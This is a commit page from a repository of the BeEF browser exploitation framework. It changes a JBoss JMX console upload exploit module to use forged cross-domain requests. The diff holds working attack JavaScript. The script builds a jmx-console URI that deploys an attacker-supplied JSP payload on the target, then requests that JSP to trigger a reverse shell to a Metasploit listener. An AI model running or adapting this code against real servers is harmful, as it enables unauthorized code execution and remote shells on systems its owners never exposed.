Hiddenden/beef
2
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

fix jboss exploit with forge_request

Browse Source
This commit is contained in:
bmantra
2012-09-18 20:59:54 +02:00
parent 9c7c81bd7f
commit 9b62ae83dc
2 changed files with 6 additions and 5 deletions
Download Patch File Download Diff File Expand all files Collapse all files

8
modules/exploits/jboss_jmx_upload_exploit/command.js
View File

@@ -43,11 +43,11 @@ beef.execute(function() {
uri = "/jmx-console/HtmlAdaptor;index.jsp?action=invokeOp&name=jboss.admin%3Aservice%3DDeploymentFileRepository&methodIndex=5&arg0=%2Fconsole-mgr.sar/web-console.war%2F&arg1=" + jspName + "&arg2=.jsp&arg3=" + payload + "&arg4=True";
/* always use dataType: script when doing cross-domain XHR, otherwise even if the HTTP resp is 200, jQuery.ajax will always launch the error() event*/
beef.net.request("http", "HEAD", rhost, rport, uri,null, null, 10, 'script', function(response){
if(response.status_code == "success"){
beef.net.forge_request("http", "HEAD", rhost, rport, uri, null, null, null, 10, 'script', true, null,function(response){
if(response.status_code == 200){
function triggerReverseConn(){
beef.net.request("http", "GET", rhost, rport,"/web-console/" + jspName + ".jsp", null, null, 10, 'script', function(response){
if(response.status_code == "success"){
beef.net.forge_request("http", "GET", rhost, rport,"/web-console/" + jspName + ".jsp", null, null, null, 10, 'script', true, null,function(response){
if(response.status_code == 200){
if(payloadType == "reverse"){
beef.net.send("<%= @command_url %>", <%= @command_id %>,"result=OK: Reverse JSP shell should have been triggered. Check your MSF handler listener.");
}else{

1
modules/exploits/jboss_jmx_upload_exploit/config.yaml
View File

@@ -23,3 +23,4 @@ beef:
authors: ["antisnatchor", "l33tb0y"]
target:
working: ["ALL"]
not_working: "O"